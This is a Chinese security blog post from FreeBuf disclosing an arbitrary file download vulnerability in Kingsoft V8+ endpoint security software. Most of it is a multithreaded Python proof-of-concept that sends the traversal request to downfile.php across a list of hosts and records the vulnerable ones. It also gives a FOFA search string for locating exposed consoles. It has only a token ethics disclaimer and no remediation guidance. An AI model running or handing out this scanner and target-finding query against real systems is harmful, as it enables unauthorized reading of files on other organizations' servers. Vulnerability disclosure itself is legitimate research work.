金山v8终端安全系统存在任意文件下载漏洞

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户，每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序把安全装进口袋

漏洞

^{0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
90
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9}

金山v8终端安全系统存在任意文件下载漏洞

星冥安全 2021-04-24 15:44:58 482828

本文由星冥安全创作，已纳入「FreeBuf原创奖励计划」，未授权禁止转载

一:金山v8终端安全系统是什么？

金山v8+终端安全系统电脑版是金山毒霸专为企业推出的安全防护杀毒软件工具，拥有超丰富强大的功能，更快速的防御病毒入侵，更好的保护电脑安全，并且还能实现多平台管理，非常好用。金山v8+终端安全系统是新一代企业终端安全软件，该产品可动态检测、实时处理、全网追溯用户网络中的未知威胁，满足国内企业用户日益复杂的含pc、移动、虚拟桌面在内的多类终端安全防护需求。

二:批量化探测漏洞poc代码

import requests
import threading
import queue
def v8_test():
	while not q.empty():
		url=q.get()
		header={"user-agent":""}
		path='/htmltopdf/downfile.php?filename=downfile.php'
		poc_url='http://'+url+path
		print(poc_url)
		try:
			response=requests.get(url=poc_url,headers=header,timeout=5,verify=False)
			if "$filename" in response.text and response.status_code==200:
				print(poc_url+" exsit vulhub")
				with open('poc.txt','a') as f:
					f.write(poc_url+'\n')
			else:
				pass
		except Exception as e:
			pass
if __name__=="__main__":
	q=queue.Queue()
	for ip in open('./v8.txt','r'):
		ip=ip.strip()
		print(ip)
		q.put(ip)
	for i in range(10):
		poc=threading.Thread(target=v8_test)
		poc.start()

三.该代码的作用就是批量探测网站有没有金山v8终端安全系统任意文件下载漏洞，

将你要探测的url放到v8.txt中，若有漏洞，或自动输出，并且存储在poc.txt文件中。
该脚本只是为了验证该漏洞，还请各位老哥别干坏事，否则后果自负。

四:分析代码可以了解到漏洞出现在downfile.php,没有对用户输入的参数进行过滤，造成任意文件下载漏洞。

fofa搜索title="在线安装-V8+终端安全系统Web控制台"

# web安全 # 漏洞分析 # 漏洞利用 # 网络安全技术

星冥安全

公众号:星冥安全，vxid：ytc16547511

已在FreeBuf发表 5 篇文章

本文为星冥安全独立观点，未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件，请联系 FreeBuf 客服小蜜蜂（微信：freebee1024）

被以下专辑收录，发现更多精彩内容

+ 收入我的专辑

+ 加入我的收藏

展开更多